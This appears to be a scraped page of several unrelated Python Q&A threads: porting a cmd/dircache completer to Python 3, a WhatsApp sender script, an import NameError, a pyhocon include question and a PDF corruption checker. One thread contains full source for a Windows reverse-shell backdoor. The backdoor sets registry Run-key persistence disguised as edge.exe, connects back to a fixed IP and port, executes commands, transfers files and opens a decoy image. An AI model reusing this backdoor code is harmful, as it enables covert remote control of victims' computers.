i am wondering how to go about making this short test in python3, cmd is supported in python3 but dircache is not... currently only works on python2 but looking to change it to work in python3, thanks!
#!/usr/bin/env python
import cmd
import dircache
class MyCmd(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = '(MyCmd)'
def do_test(self, line):
print('cmd test ' + line)
def complete_test(self, text, line, begidx, endidx):
""" auto complete of file name.
"""
line = line.split()
if len(line) < 2:
filename = ''
path = './'
else:
path = line[1]
if '/' in path:
i = path.rfind('/')
filename = path[i+1:]
path = path[:i]
else:
filename = path
path = './'
ls = dircache.listdir(path)
ls = ls[:] # for overwrite in annotate.
dircache.annotate(path, ls)
if filename == '':
return ls
else:
return [f for f in ls if f.startswith(filename)]
if __name__ == '__main__':
mycmd = MyCmd()
mycmd.cmdloop()
Ive tried using this instead of dircache but had no luck
#lru_cache(32)
def cached_listdir(d):
return os.listdir(d)
Here you go check out the load function
import os
import glob
import cmd
def _append_slash_if_dir(p):
if p and os.path.isdir(p) and p[-1] != os.sep:
return p + os.sep
else:
return p
class MyShell(cmd.Cmd):
prompt = "> "
def do_quit(self, line):
return True
def do_load(self, line):
print("load " + line)
def complete_load(self, text, line, begidx, endidx):
before_arg = line.rfind(" ", 0, begidx)
if before_arg == -1:
return # arg not found
fixed = line[before_arg+1:begidx] # fixed portion of the arg
arg = line[before_arg+1:endidx]
pattern = arg + '*'
completions = []
for path in glob.glob(pattern):
path = _append_slash_if_dir(path)
completions.append(path.replace(fixed, "", 1))
return completions
MyShell().cmdloop()
Related
I need to select a specific file, after specifying the number of this file in "if"...
Instead of "MTS.txt " we need the full path to the selected file using a digit!
I have not found any information about this on the Internet. Perhaps he made up his request badly!
from email import message
from click import clear
import pywhatkit
import pyfiglet
import os
import time
directory = 'MTS/'
# files = os.listdir(directory)
f = True
while (f==True):
def main():
os.system('CLS')
# print(files)
mtstxt = pyfiglet.figlet_format("Wa Helper", font = "smslant")
print(mtstxt)
def send_message_inst():
mobile = '+7' + input(' Номер: +7')
with os.scandir(directory) as files:
for i, file in enumerate(files):
print(' ', i + 1, file.name)
nof = os.listdir(path="MTS/")
# print(len(nof))
while True:
tarif = int(input(' Вариант: '))
if tarif >= 1 and tarif <= int(len(nof)):
msg = open("MTS.txt", encoding='UTF-8')
message = msg.read()
msg.close()
break
else:
os.system('CLS')
print(mtstxt)
print(' Номер:', mobile)
with os.scandir(directory) as files:
for i, file in enumerate(files):
print(' ', i + 1, file.name)
print("\033[31m{}\033[0m".format(" Ошибка - неверный вариант!"))
pywhatkit.sendwhatmsg_instantly(phone_no=mobile, message=message)
send_message_inst()
os.system('CLS')
sndtxt = pyfiglet.figlet_format("Sent!", font = "smslant")
print(sndtxt)
time.sleep(5)
if __name__ == '__main__':
main()
else:
break
I wrote some code in a script file script.py
from functools import reduce
class Operators:
def __init__(self, names):
self.op_name = []
for name in names:
self.op_name.append(name)
def __matmul__(self, other):
if type(other) is Operators:
new_op_list = self.op_name + other.op_name
return Operators(new_op_list)
def __str__(self):
return ' # '.join(map(str, self.op_name))
class Single_Ket:
def __init__(self, label: tuple, coeff, operator = []):
self.label = label
self.coeff = coeff
self.operators = operator
def __str__(self):
Operator_Str = str( eval(' # '.join(map(str, self.operators))) )
if type(self.label) is tuple:
return '{} * {} # | {} >'.format(self.coeff, Operator_Str, ', '.join(map(str, self.label)))
else:
return f'{self.coeff} * {Operator_Str}.|{self.label}>'
if __name__ == '__main__':
Jp = Operators(['Jp'])
Jm = Operators(['Jm'])
ket_1 = Single_Ket((1, 1), 1, [Jp # Jm])
print(ket_1)
which works fine when I run it.
However, when I import test.py into another file test.py and run
from script import*
Jp = Operators(['Jp'])
Jm = Operators(['Jm'])
ket_1 = Single_Ket((1, 1), 1, [Jp # Jm])
print(ket_1)
I got the error message 'NameError: name 'Jp' is not defined'. Given I defined Jp in test.py, I don't understand the reason why I get name error.
What is the way to fix this, or is there any related article I can look at to fix this?
This question already has answers here:
What is sys._MEIPASS in Python
(3 answers)
Closed 1 year ago.
#client side
import socket
import subprocess
import json
import os
import base64
import sys
import shutil
class Backdoor:
def __init__(self, ip, port):
self.presistence()
self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect((ip,port))
def presistence(self):
virus_file_location =os.environ["appdata"]+"\\edge.exe"
if not os.path.exists(virus_file_location):
shutil.copyfile(sys.executable,virus_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v tata /t REG_SZ /d "' + virus_file_location +'" ',shell=True)
def execute_command(self, command):
NULL = open(os.devnull,'wb')
return subprocess.check_output(command,shell =True, stderr=NULL, stdin=NULL)
def box_send(self, data):
json_data = json.dumps(data)
self.connection.send(b"json_data")
def change_directory(self, path):
os.chdir(path)
return "[+] changing directory to "+path
def box_receive(self):
json_data = " "
while True:
try:
json_data = json_data + str(self.connection.recv(1024))
return json.loads(json_data)
except ValueError:
continue
def read_file(self,path):
with open(path,"rb") as file:
return base64.b64decode(file.read())
def write_file(self,file_name,content):
with open(file_name,"wb") as file:
return "[+] upload successful"
def run(self):
while True:
command = self.box_receive()
try:
if command[0] =="exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) >1:
command_result = self.change_directory(command[1])
elif command[0] =="download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1],command[2])
else:
command_result = self.execute_command(command)
except Exception:
command_result = "[+] Error while running this command"
self.box_send(command_result)
file_name = sys._MEIPASS + "/sample.jpg"
subprocess.Popen(file_name, shell=True)
try:
backdoor = Backdoor("192.168.2.112", 4444)
backdoor.run()
except Exception:
sys.exit()
You import the module sys, then try to reference a non-existing attribute called _MEIPASS with:
file_name = sys._MEIPASS + "/sample.jpg"
I try to check the PDF files are corrupted in windows environment and come up with following python code.
Just want to check is it the best way to check corrupted PDF files or is there any other easy way?
Note: C:\Temp\python\sample-map (1).pdf is the corrupted PDF file
Here is the sample code
import os
import subprocess
import re
from subprocess import Popen, PIPE
def checkFile(fullfile):
proc=subprocess.Popen(["file", "-b", fullfile], shell=True, stdout=PIPE, stderr=PIPE, bufsize=0)
# -b, --brief : do not prepend filenames to output lines
out, err = proc.communicate()
exitcode = proc.returncode
return exitcode, out, err
def searchFiles(dirpath):
pwdpath=os.path.dirname(os.path.realpath(__file__))
print("running path : %s" %pwdpath )
if os.access(dirpath, os.R_OK):
print("Path %s validation OK \n" %dirpath)
listfiles=os.listdir(dirpath)
for files in listfiles:
fullfile=os.path.join(dirpath, files)
if os.access(fullfile, os.R_OK):
code, out, error = checkFile(fullfile)
if str(code) !="0" or str(error, "utf-8") != "" or re.search("^(?!PDF(\s)).*", str(out,'utf-8')):
print("ERROR " + fullfile+"\n################")
else:
print("OK " + fullfile+"\n################")
else:
print("$s : File not readable" %fullfile)
else:
print("Path is not valid")
if __name__ == "__main__":
searchFiles('C:\Temp\python')
sample output :
$ "C:/Program Files (x86)/Python37-32/python.exe" c:/Users/myuser/python/check_pdf_file.py
running path : c:\Users\myuser\python
Path C:\Temp\python validation OK
OK C:\Temp\python\Induction Guide.pdf
################
ERROR C:\Temp\python\sample-map (1).pdf
################
OK C:\Temp\python\sample-map.pdf
################
I think you can use PyPDF2 module.
pip install pypdf2
The code is as follows.
from PyPDF2 import PdfFileReader
import os
def checkFile(fullfile):
with open(fullfile, 'rb') as f:
try:
pdf = PdfFileReader(f)
info = pdf.getDocumentInfo()
if info:
return True
else:
return False
except:
return False
def searchFiles(dirpath):
pwdpath = os.path.dirname(os.path.realpath(__file__))
print("running path : %s" %pwdpath )
if os.access(dirpath, os.R_OK):
print("Path %s validation OK \n" %dirpath)
listfiles = os.listdir(dirpath)
for f in listfiles:
fullfile = os.path.join(dirpath, f)
if checkFile(fullfile):
print("OK " + fullfile + "\n################")
else:
print("ERROR " + fullfile + "\n################")
else:
print("Path is not valid")
if __name__ == "__main__":
searchFiles('C:\Temp\python')
I tried to match your coding style.
I think this code can also be used on MacOS or Linux.
In pyhocon can is it possible to include a file in runtime?
I know how to merge trees in runtime e.g.
conf = ConfigFactory.parse_file(conf_file)
conf1 = ConfigFactory.parse_file(include_conf)
conf = ConfigTree.merge_configs(conf, conf1)
I would like to emulate the include statement so that hocon variables get evaluated in runtime like in the wishful code below:
conf = ConfigFactory.parse_files([conf_file, include_conf])
Newer pyhocon has a possibility to parse a config file without resolving variables.
import pprint
from pyhocon import ConfigFactory
if __name__ == "__main__":
conf = ConfigFactory\
.parse_file('./app.conf', resolve=False)\
.with_fallback(
config='./app_vars.conf',
resolve=True,
)
pprint.pprint(conf)
app.conf:
smart: {
super_hero: ${super_hero}
}
app_vars.conf:
super_hero: Buggs_Bunny
It's possible to use strings:
from pyhocon import ConfigFactory
# readingconf entrypoint
file = open('application.conf', mode='r')
conf_string = file.read()
file.close()
conf_string_ready = conf_string.replace("PATH_TO_CONFIG","spec.conf")
conf = ConfigFactory.parse_string(conf_string_ready)
print(conf)
application.conf has
include "file://INCLUDE_FILE"
or in runtime without preparation I wrote it myself using python 3.65:
#!/usr/bin/env python
import os
from pyhocon import ConfigFactory as Cf
def is_line_in_file(full_path, line):
with open(full_path) as f:
content = f.readlines()
for l in content:
if line in l:
f.close()
return True
return False
def line_prepender(filename, line, once=True):
with open(filename, 'r+') as f:
content = f.read()
f.seek(0, 0)
if is_line_in_file(filename, line) and once:
return
f.write(line.rstrip('\r\n') + '\n' + content)
def include_configs(base_path, included_paths):
for included_path in included_paths:
line_prepender(filename=base_path, line=f'include file("{included_path}")')
return Cf.parse_file(base_path)
if __name__ == "__main__":
dir_path = os.path.dirname(os.path.realpath(__file__))
print(f"current working dir: {dir_path}")
dir_path = ''
_base_path = f'{dir_path}example.conf'
_included_files = [f'{dir_path}example1.conf', f'{dir_path}example2.conf']
_conf = include_configs(base_path=_base_path, included_paths=_included_files)
print('break point')